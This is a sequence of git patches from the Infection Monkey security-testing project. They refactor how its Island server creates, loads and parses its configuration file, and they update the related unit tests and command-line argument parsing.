5d4913151fb..d17947a2e43 100644 --- a/monkey/monkey_island/cc/environment/windows_permissions.py +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -1,7 +1,10 @@ -import ntsecuritycon -import win32api -import win32con -import win32security +from monkey_island.cc.environment.utils import is_windows_os + +if is_windows_os(): + import ntsecuritycon + import win32api + import win32con + import win32security def set_full_folder_access(folder_path: str) -> None: From 9705c73978226e02d5759d1087914d58ff8e5b24 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 21 May 2021 18:57:40 +0530 Subject: [PATCH 0551/1360] Remove code in environment_config.py which was calling `write_default_server_config_to_file()` This was causing an error in the unit tests, and is handled in monkey_island.py (commit 3de620e3). --- monkey/monkey_island/cc/environment/environment_config.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 5befa202b92..b013bdcf302 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -2,10 +2,8 @@ import json import os -from pathlib import Path from typing import Dict, List -import monkey_island.cc.environment.server_config_generator as server_config_generator from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore @@ -24,8 +22,6 @@ def __init__(self, file_path): def _load_from_file(self, file_path): file_path = os.path.expanduser(file_path) - if not Path(file_path).is_file(): - server_config_generator.write_default_server_config_to_file(file_path) with open(file_path, "r") as f: config_content = f.read() From 23b04920b26b7a54b501d82f282496c331e06f50 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 21 May 2021 19:18:08 +0530 Subject: [PATCH 0552/1360] Remove unit test related to code removed in the previous commit --- .../cc/environment/test_environment_config.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py index 481e871ae77..0e3efda04b7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment_config.py @@ -93,15 +93,3 @@ def test_get_users(standard_with_credentials): assert users[0].id == 1 assert users[0].username == "test" assert users[0].secret == "abcdef" - - -def test_generate_default_file(config_file): - environment_config = EnvironmentConfig(config_file) - - assert os.path.isfile(config_file) - - assert environment_config.server_config == "password" - assert environment_config.deployment == "develop" - assert environment_config.user_creds.username == "" - assert environment_config.user_creds.password_hash == "" - assert environment_config.aws is None From 43d919a3ebde5b036811936670719bc71ddd86ae Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 21 May 2021 20:09:17 +0530 Subject: [PATCH 0553/1360] Create default server_config.json when running unit tests --- monkey/monkey_island/cc/models/__init__.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 602d815c416..a46e5bd7697 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,16 +1,24 @@ from mongoengine import connect -import monkey_island.cc.environment.environment_singleton as env_singleton +# Needed so that a server_config.json file exists at the default path, +# otherwise, unit tests will error while importing `env_singleton` below. +from monkey_island.cc.environment.server_config_generator import ( # noqa: E402 + create_default_server_config_file, +) + +create_default_server_config_file() + +import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from .command_control_channel import CommandControlChannel # noqa: F401 +from .command_control_channel import CommandControlChannel # noqa: F401, E402 # Order of importing matters here, for registering the embedded and referenced documents before # using them. -from .config import Config # noqa: F401 -from .creds import Creds # noqa: F401 -from .monkey import Monkey # noqa: F401 -from .monkey_ttl import MonkeyTtl # noqa: F401 -from .pba_results import PbaResults # noqa: F401 +from .config import Config # noqa: F401, E402 +from .creds import Creds # noqa: F401, E402 +from .monkey import Monkey # noqa: F401, E402 +from .monkey_ttl import MonkeyTtl # noqa: F401, E402 +from .pba_results import PbaResults # noqa: F401, E402 connect( db=env_singleton.env.mongo_db_name, From 70b9a9f6b73a0314ad34ef333b804410246a18dd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 11:05:15 +0300 Subject: [PATCH 0554/1360] Refactored config_loader.py and server_config_handler.py into a single file, with server config write/read operations --- .../cc/environment/server_config_generator.py | 21 ---------- .../cc/environment/server_config_handler.py | 39 +++++++++++++++++++ .../monkey_island/cc/server_utils/consts.py | 2 + monkey/monkey_island/config_loader.py | 25 ------------ .../monkey_island/cc/environment/__init__.py | 0 .../test_server_config_handler.py} | 8 ++-- 6 files changed, 45 insertions(+), 50 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/server_config_generator.py create mode 100644 monkey/monkey_island/cc/environment/server_config_handler.py delete mode 100644 monkey/monkey_island/config_loader.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py rename monkey/tests/unit_tests/monkey_island/{test_config_loader.py => cc/environment/test_server_config_handler.py} (64%) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py deleted file mode 100644 index 17ee4a50c09..00000000000 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ /dev/null @@ -1,21 +0,0 @@ -import os -from pathlib import Path - -from monkey_island.cc.environment.data_dir_generator import create_data_dir -from monkey_island.cc.server_utils.consts import ( - DEFAULT_DATA_DIR, - DEFAULT_DEVELOP_SERVER_CONFIG_PATH, - DEFAULT_SERVER_CONFIG_PATH, -) - - -def create_default_server_config_file() -> str: - if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): - create_data_dir(DEFAULT_DATA_DIR, False) - write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) - return DEFAULT_SERVER_CONFIG_PATH - - -def write_default_server_config_to_file(path: str) -> None: - default_config = Path(DEFAULT_DEVELOP_SERVER_CONFIG_PATH).read_text() - Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py new file mode 100644 index 00000000000..35cc91f3e84 --- /dev/null +++ b/monkey/monkey_island/cc/environment/server_config_handler.py @@ -0,0 +1,39 @@ +import json +import os +from pathlib import Path + +from monkey_island.cc.server_utils.consts import ( + DEFAULT_DATA_DIR, + DEFAULT_DEVELOP_SERVER_CONFIG_PATH, + DEFAULT_LOG_LEVEL, + DEFAULT_SERVER_CONFIG_PATH, +) + + +def create_default_server_config_file() -> None: + if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): + write_default_server_config_to_file(DEFAULT_SERVER_CONFIG_PATH) + + +def write_default_server_config_to_file(path: str) -> None: + default_config = Path(DEFAULT_DEVELOP_SERVER_CONFIG_PATH).read_text() + Path(path).write_text(default_config) + + +def load_server_config_from_file(server_config_path): + with open(server_config_path, "r") as f: + config_content = f.read() + config = json.loads(config_content) + add_default_values_to_config(config) + + return config + + +def add_default_values_to_config(config): + config["data_dir"] = os.path.abspath( + os.path.expanduser(os.path.expandvars(config.get("data_dir", DEFAULT_DATA_DIR))) + ) + + config.setdefault("log_level", DEFAULT_LOG_LEVEL) + + return config diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 8b88b000b30..a62bb98abb7 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -14,6 +14,8 @@ def get_default_data_dir() -> str: SERVER_CONFIG_FILENAME = "server_config.json" +DEFAULT_LOG_LEVEL = "INFO" + MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") DEFAULT_DATA_DIR = os.path.expandvars(get_default_data_dir()) diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py deleted file mode 100644 index aaa9185d700..00000000000 --- a/monkey/monkey_island/config_loader.py +++ /dev/null @@ -1,25 +0,0 @@ -import json -import os - -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR - -DEFAULT_LOG_LEVEL = "INFO" - - -def load_server_config_from_file(server_config_path): - with open(server_config_path, "r") as f: - config_content = f.read() - config = json.loads(config_content) - add_default_values_to_config(config) - - return config - - -def add_default_values_to_config(config): - config["data_dir"] = os.path.abspath( - os.path.expanduser(os.path.expandvars(config.get("data_dir", DEFAULT_DATA_DIR))) - ) - - config.setdefault("log_level", DEFAULT_LOG_LEVEL) - - return config diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/test_config_loader.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py similarity index 64% rename from monkey/tests/unit_tests/monkey_island/test_config_loader.py rename to monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py index 20c330f6a91..acd89d84fb8 100644 --- a/monkey/tests/unit_tests/monkey_island/test_config_loader.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_server_config_handler.py @@ -1,11 +1,11 @@ import os -from monkey_island import config_loader +from monkey_island.cc.environment import server_config_handler from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR def test_load_server_config_from_file(test_server_config, mock_home_env): - config = config_loader.load_server_config_from_file(test_server_config) + config = server_config_handler.load_server_config_from_file(test_server_config) assert config["data_dir"] == os.path.join(mock_home_env, ".monkey_island") assert config["log_level"] == "NOTICE" @@ -13,7 +13,7 @@ def test_load_server_config_from_file(test_server_config, mock_home_env): def test_default_log_level(): test_config = {} - config = config_loader.add_default_values_to_config(test_config) + config = server_config_handler.add_default_values_to_config(test_config) assert "log_level" in config assert config["log_level"] == "INFO" @@ -21,7 +21,7 @@ def test_default_log_level(): def test_default_data_dir(mock_home_env): test_config = {} - config = config_loader.add_default_values_to_config(test_config) + config = server_config_handler.add_default_values_to_config(test_config) assert "data_dir" in config assert config["data_dir"] == DEFAULT_DATA_DIR From 8afe93747f47d73141330d4fe00c6cc6bdf573ca Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 10:27:16 +0300 Subject: [PATCH 0555/1360] Improved monkey_island.py setup readability by extracting workflows of server_config setup by cmd_arguments and setup of server_config using defaults --- monkey/monkey_island.py | 17 +++++------------ monkey/monkey_island/setup/config_setup.py | 21 +++++++++++++++++++++ 2 files changed, 26 insertions(+), 12 deletions(-) create mode 100644 monkey/monkey_island/setup/config_setup.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 76399b6ff00..662ebe89202 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,32 +1,25 @@ from gevent import monkey as gevent_monkey from monkey_island.cc.arg_parser import parse_cli_args +from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config gevent_monkey.patch_all() import json # noqa: E402 -import os # noqa: E402 -import monkey_island.cc.environment.server_config_generator as server_config_generator # noqa: E402 -from monkey_island import config_loader # noqa: E402 -from monkey_island.cc.environment.data_dir_generator import create_data_dir # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 if "__main__" == __name__: island_args = parse_cli_args() - # This is here in order to catch EVERYTHING, some functions are being called on - # imports, so the log init needs to be first. try: if island_args.server_config: - server_config_path = os.path.expanduser(island_args.server_config) + config, server_config_path = setup_config_by_cmd_arg(island_args.server_config) else: - server_config_path = server_config_generator.create_default_server_config_file() - - config = config_loader.load_server_config_from_file(server_config_path) - - create_data_dir(config["data_dir"], True) + config, server_config_path = setup_default_config() + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. setup_logging(config["data_dir"], config["log_level"]) except OSError as ex: diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py new file mode 100644 index 00000000000..9980c66cd15 --- /dev/null +++ b/monkey/monkey_island/setup/config_setup.py @@ -0,0 +1,21 @@ +import os +from typing import Tuple + +from monkey_island.cc.environment import server_config_handler +from monkey_island.cc.environment.data_dir_generator import create_data_dir # noqa: E402 +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH + + +def setup_config_by_cmd_arg(server_config_path) -> Tuple[dict, str]: + server_config_path = os.path.expanduser(server_config_path) + config = server_config_handler.load_server_config_from_file(server_config_path) + create_data_dir(config["data_dir"], create_parent_dirs=True) + return config, server_config_path + + +def setup_default_config() -> Tuple[dict, str]: + server_config_path = DEFAULT_SERVER_CONFIG_PATH + create_data_dir(DEFAULT_DATA_DIR, create_parent_dirs=False) + server_config_handler.create_default_server_config_file() + config = server_config_handler.load_server_config_from_file(server_config_path) + return config, server_config_path From 0f495791485c4b16c2a6d109de33b8b1d1f3d1d5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 11:34:55 +0300 Subject: [PATCH 0556/1360] Added typehints to IslandConfigOptions --- monkey/monkey_island/setup/island_config_options.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/setup/island_config_options.py index ce4a96f7b33..13463017819 100644 --- a/monkey/monkey_island/setup/island_config_options.py +++ b/monkey/monkey_island/setup/island_config_options.py @@ -11,9 +11,9 @@ @dataclass class IslandConfigOptions: - log_level = DEFAULT_LOG_LEVEL - data_dir = DEFAULT_DATA_DIR - start_mongodb = DEFAULT_START_MONGO_DB + log_level: str = DEFAULT_LOG_LEVEL + data_dir: str = DEFAULT_DATA_DIR + start_mongodb: bool = DEFAULT_START_MONGO_DB @staticmethod def build_from_config_file_contents(config_contents: dict) -> IslandConfigOptions: From 5f88f6f04be429be9f356dbafdee578c35a875e2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 12:13:33 +0300 Subject: [PATCH 0557/1360] Moved a comment to a proper place --- monkey/monkey_island.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 662ebe89202..e3d8348d1dc 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -12,14 +12,14 @@ if "__main__" == __name__: island_args = parse_cli_args() + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. try: if island_args.server_config: config, server_config_path = setup_config_by_cmd_arg(island_args.server_config) else: config, server_config_path = setup_default_config() - # This is here in order to catch EVERYTHING, some functions are being called on - # imports, so the log init needs to be first. setup_logging(config["data_dir"], config["log_level"]) except OSError as ex: From 3098ac1459f841aaead2d587beda14c44bdef8b5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 12:25:10 +0300 Subject: [PATCH 0558/1360] Fixed a failing environment setup in unit tests --- monkey/monkey_island/cc/models/__init__.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index a46e5bd7697..9b244a97435 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -2,11 +2,12 @@ # Needed so that a server_config.json file exists at the default path, # otherwise, unit tests will error while importing `env_singleton` below. -from monkey_island.cc.environment.server_config_generator import ( # noqa: E402 - create_default_server_config_file, -) +from monkey_island.cc.environment import data_dir_generator, server_config_handler # noqa: E402 + +from ..server_utils.consts import DEFAULT_DATA_DIR -create_default_server_config_file() +data_dir_generator.create_data_dir(DEFAULT_DATA_DIR, False) +server_config_handler.create_default_server_config_file() import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 From d33c5d68d861640f63fcef01defeab3bd24ab3d3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 24 May 2021 15:17:22 +0530 Subject: [PATCH 0559/1360] Use `os.path.expandvars()` on server config argument --- monkey/monkey_island/setup/config_setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py index 9980c66cd15..05f410fa88a 100644 --- a/monkey/monkey_island/setup/config_setup.py +++ b/monkey/monkey_island/setup/config_setup.py @@ -7,7 +7,7 @@ def setup_config_by_cmd_arg(server_config_path) -> Tuple[dict, str]: - server_config_path = os.path.expanduser(server_config_path) + server_config_path = os.path.expandvars(os.path.expanduser(server_config_path)) config = server_config_handler.load_server_config_from_file(server_config_path) create_data_dir(config["data_dir"], create_parent_dirs=True) return config, server_config_path From 2afdfa297bff967784e57416bcbde82a74c9d4d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 13:37:02 +0300 Subject: [PATCH 0560/1360] Improved IslandConfigOptions readability by removing defaults and added a unit test for constructor --- monkey/monkey_island.py | 2 -- monkey/monkey_island/config_file_parser.py | 2 +- .../setup/island_config_options.py | 24 +++++-------------- .../setup/test_island_config_options.py | 20 ++++++++++++++++ 4 files changed, 27 insertions(+), 21 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 59ac8301a11..d723a6923c1 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -2,7 +2,6 @@ from monkey_island.cc.arg_parser import parse_cli_args from monkey_island.config_file_parser import load_island_config_from_file -from monkey_island.setup.island_config_options import IslandConfigOptions gevent_monkey.patch_all() @@ -12,7 +11,6 @@ if "__main__" == __name__: island_args = parse_cli_args() - config_options = IslandConfigOptions() try: # This is here in order to catch EVERYTHING, some functions are being called on diff --git a/monkey/monkey_island/config_file_parser.py b/monkey/monkey_island/config_file_parser.py index c7aa4f146df..830ae672091 100644 --- a/monkey/monkey_island/config_file_parser.py +++ b/monkey/monkey_island/config_file_parser.py @@ -7,7 +7,7 @@ def load_island_config_from_file(server_config_path: str) -> IslandConfigOptions: config_contents = read_config_file(server_config_path) - return IslandConfigOptions.build_from_config_file_contents(config_contents) + return IslandConfigOptions(config_contents) def read_config_file(server_config_path: str) -> dict: diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/setup/island_config_options.py index 13463017819..bf1c06e1b91 100644 --- a/monkey/monkey_island/setup/island_config_options.py +++ b/monkey/monkey_island/setup/island_config_options.py @@ -1,7 +1,5 @@ from __future__ import annotations -from dataclasses import dataclass - from monkey_island.cc.server_utils.consts import ( DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL, @@ -9,22 +7,12 @@ ) -@dataclass class IslandConfigOptions: - log_level: str = DEFAULT_LOG_LEVEL - data_dir: str = DEFAULT_DATA_DIR - start_mongodb: bool = DEFAULT_START_MONGO_DB - - @staticmethod - def build_from_config_file_contents(config_contents: dict) -> IslandConfigOptions: - config = IslandConfigOptions() - if "data_dir" in config_contents: - config.data_dir = config_contents["data_dir"] - - if "log_level" in config_contents: - config.log_level = config_contents["log_level"] + def __init__(self, config_contents: dict): + self.data_dir = config_contents.get("data_dir", DEFAULT_DATA_DIR) - if "mongodb" in config_contents and "start_mongodb" in config_contents["mongodb"]: - config.start_mongodb = config_contents["mongodb"]["start_mongodb"] + self.log_level = config_contents.get("log_level", DEFAULT_LOG_LEVEL) - return config + self.start_mongodb = config_contents.get( + "mongodb", {"start_mongodb": DEFAULT_START_MONGO_DB} + ).get("start_mongodb", DEFAULT_START_MONGO_DB) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py new file mode 100644 index 00000000000..564df30a004 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -0,0 +1,20 @@ +from monkey_island.cc.server_utils.consts import DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB +from monkey_island.setup.island_config_options import IslandConfigOptions + +MOCKED_CONFIG_FILE_CONTENTS_STANDARD = {"data_dir": "/tmp", "mongodb": {"start_mongodb": False}} + +MOCKED_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"data_dir": "/tmp", "mongodb": {}} + + +def test_island_config_options__standard(): + options = IslandConfigOptions(MOCKED_CONFIG_FILE_CONTENTS_STANDARD) + assert not options.start_mongodb + assert options.data_dir == "/tmp" + assert options.log_level == DEFAULT_LOG_LEVEL + + +def test_island_config_options__no_starmongo(): + options = IslandConfigOptions(MOCKED_CONFIG_FILE_CONTENTS_NO_STARTMONGO) + assert options.start_mongodb == DEFAULT_START_MONGO_DB + assert options.data_dir == "/tmp" + assert options.log_level == DEFAULT_LOG_LEVEL From d52e80a3f3c92e96c86e529526aa7c72a70f34d7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 14:03:49 +0300 Subject: [PATCH 0561/1360] Improved the readability IslandConfigOptions test --- .../monkey_island/setup/test_island_config_options.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index 564df30a004..0e79e0324aa 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -1,20 +1,18 @@ from monkey_island.cc.server_utils.consts import DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB from monkey_island.setup.island_config_options import IslandConfigOptions -MOCKED_CONFIG_FILE_CONTENTS_STANDARD = {"data_dir": "/tmp", "mongodb": {"start_mongodb": False}} +TEST_CONFIG_FILE_CONTENTS_STANDARD = {"data_dir": "/tmp", "mongodb": {"start_mongodb": False}} -MOCKED_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"data_dir": "/tmp", "mongodb": {}} +TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"data_dir": "/tmp", "mongodb": {}} def test_island_config_options__standard(): - options = IslandConfigOptions(MOCKED_CONFIG_FILE_CONTENTS_STANDARD) + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_STANDARD) assert not options.start_mongodb assert options.data_dir == "/tmp" assert options.log_level == DEFAULT_LOG_LEVEL def test_island_config_options__no_starmongo(): - options = IslandConfigOptions(MOCKED_CONFIG_FILE_CONTENTS_NO_STARTMONGO) + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) assert options.start_mongodb == DEFAULT_START_MONGO_DB - assert options.data_dir == "/tmp" - assert options.log_level == DEFAULT_LOG_LEVEL From 0248a6e281532089f55687dd92ffb12d9ac0f102 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 14:25:22 +0300 Subject: [PATCH 0562/1360] Refactored IslandConfigOptions tests to be test per option, rather than based on code workflow branches --- .../setup/test_island_config_options.py | 35 +++++++++++++++---- 1 file changed, 28 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py index 0e79e0324aa..9175bc27410 100644 --- a/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/setup/test_island_config_options.py @@ -1,18 +1,39 @@ -from monkey_island.cc.server_utils.consts import DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB +from monkey_island.cc.server_utils.consts import ( + DEFAULT_DATA_DIR, + DEFAULT_LOG_LEVEL, + DEFAULT_START_MONGO_DB, +) from monkey_island.setup.island_config_options import IslandConfigOptions -TEST_CONFIG_FILE_CONTENTS_STANDARD = {"data_dir": "/tmp", "mongodb": {"start_mongodb": False}} +TEST_CONFIG_FILE_CONTENTS_SPECIFIED = { + "data_dir": "/tmp", + "log_level": "test", + "mongodb": {"start_mongodb": False}, +} -TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"data_dir": "/tmp", "mongodb": {}} +TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED = {} +TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO = {"mongodb": {}} -def test_island_config_options__standard(): - options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_STANDARD) - assert not options.start_mongodb + +def test_island_config_options__data_dir(): + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) assert options.data_dir == "/tmp" + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) + assert options.data_dir == DEFAULT_DATA_DIR + + +def test_island_config_options__log_level(): + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) + assert options.log_level == "test" + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) assert options.log_level == DEFAULT_LOG_LEVEL -def test_island_config_options__no_starmongo(): +def test_island_config_options__mongodb(): + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_SPECIFIED) + assert not options.start_mongodb + options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_UNSPECIFIED) + assert options.start_mongodb == DEFAULT_START_MONGO_DB options = IslandConfigOptions(TEST_CONFIG_FILE_CONTENTS_NO_STARTMONGO) assert options.start_mongodb == DEFAULT_START_MONGO_DB From 0a7cf1d5ee838915d60d593e4bd19bce02e88a0c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 16:42:30 +0300 Subject: [PATCH 0563/1360] Improved readability in the arg_parser.py by extracting defaults to the argparser flag section --- monkey/monkey_island/cc/arg_parser.py | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 457ffbac254..8de146513e6 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,18 +1,15 @@ +from dataclasses import dataclass + from monkey_island.cc.server_utils.consts import ( DEFAULT_SERVER_CONFIG_PATH, DEFAULT_SHOULD_SETUP_ONLY, ) +@dataclass class IslandCmdArgs: - setup_only: bool = DEFAULT_SHOULD_SETUP_ONLY - server_config_path: str = DEFAULT_SERVER_CONFIG_PATH - - def __init__(self, setup_only: None, server_config_path: None): - if setup_only: - self.setup_only = setup_only - if server_config_path: - self.server_config_path = server_config_path + setup_only: bool + server_config_path: str def parse_cli_args() -> IslandCmdArgs: @@ -29,9 +26,13 @@ def parse_cli_args() -> IslandCmdArgs: help="Pass this flag to cause the Island to setup and exit without actually starting. " "This is useful for preparing Island to boot faster later-on, so for " "compiling/packaging Islands.", + default=DEFAULT_SHOULD_SETUP_ONLY, ) parser.add_argument( - "--server-config", action="store", help="The path to the server configuration file." + "--server-config", + action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH, ) args = parser.parse_args() From 2b257f00128d61505828b501ee70e55c69d50178 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 16:44:43 +0300 Subject: [PATCH 0564/1360] Fixed bugs merge bugs where structures are being accessed in an outdated ways --- monkey/monkey_island.py | 4 ++-- monkey/monkey_island/setup/config_setup.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 200dd9b1fb2..3ea35eed1c5 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -15,8 +15,8 @@ # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - if island_args.server_config: - config, server_config_path = setup_config_by_cmd_arg(island_args.server_config) + if island_args.server_config_path: + config, server_config_path = setup_config_by_cmd_arg(island_args.server_config_path) else: config, server_config_path = setup_default_config() diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py index 12f073f642f..5c9625ac476 100644 --- a/monkey/monkey_island/setup/config_setup.py +++ b/monkey/monkey_island/setup/config_setup.py @@ -11,7 +11,7 @@ def setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, st server_config_path = os.path.expandvars(os.path.expanduser(server_config_path)) config = server_config_handler.load_server_config_from_file(server_config_path) - create_data_dir(config["data_dir"], create_parent_dirs=True) + create_data_dir(config.data_dir, create_parent_dirs=True) return config, server_config_path From d273e8585849f9db3d1c22b0ea99ea85ba146498 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 24 May 2021 17:09:14 +0300 Subject: [PATCH 0565/1360] Fixed bugs in argument parser passing default server config path even though server path is not specified. Island thinks that server config path was specified. --- monkey/monkey_island.py | 2 +- monkey/monkey_island/cc/arg_parser.py | 11 +---------- monkey/monkey_island/cc/server_utils/consts.py | 1 - 3 files changed, 2 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 3ea35eed1c5..9367cc04a50 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -32,4 +32,4 @@ from monkey_island.cc.main import main # noqa: E402 - main(island_args.setup_only, island_args.server_config_path, config) + main(island_args.setup_only, server_config_path, config) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 8de146513e6..6176580801e 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,10 +1,5 @@ from dataclasses import dataclass -from monkey_island.cc.server_utils.consts import ( - DEFAULT_SERVER_CONFIG_PATH, - DEFAULT_SHOULD_SETUP_ONLY, -) - @dataclass class IslandCmdArgs: @@ -26,13 +21,9 @@ def parse_cli_args() -> IslandCmdArgs: help="Pass this flag to cause the Island to setup and exit without actually starting. " "This is useful for preparing Island to boot faster later-on, so for " "compiling/packaging 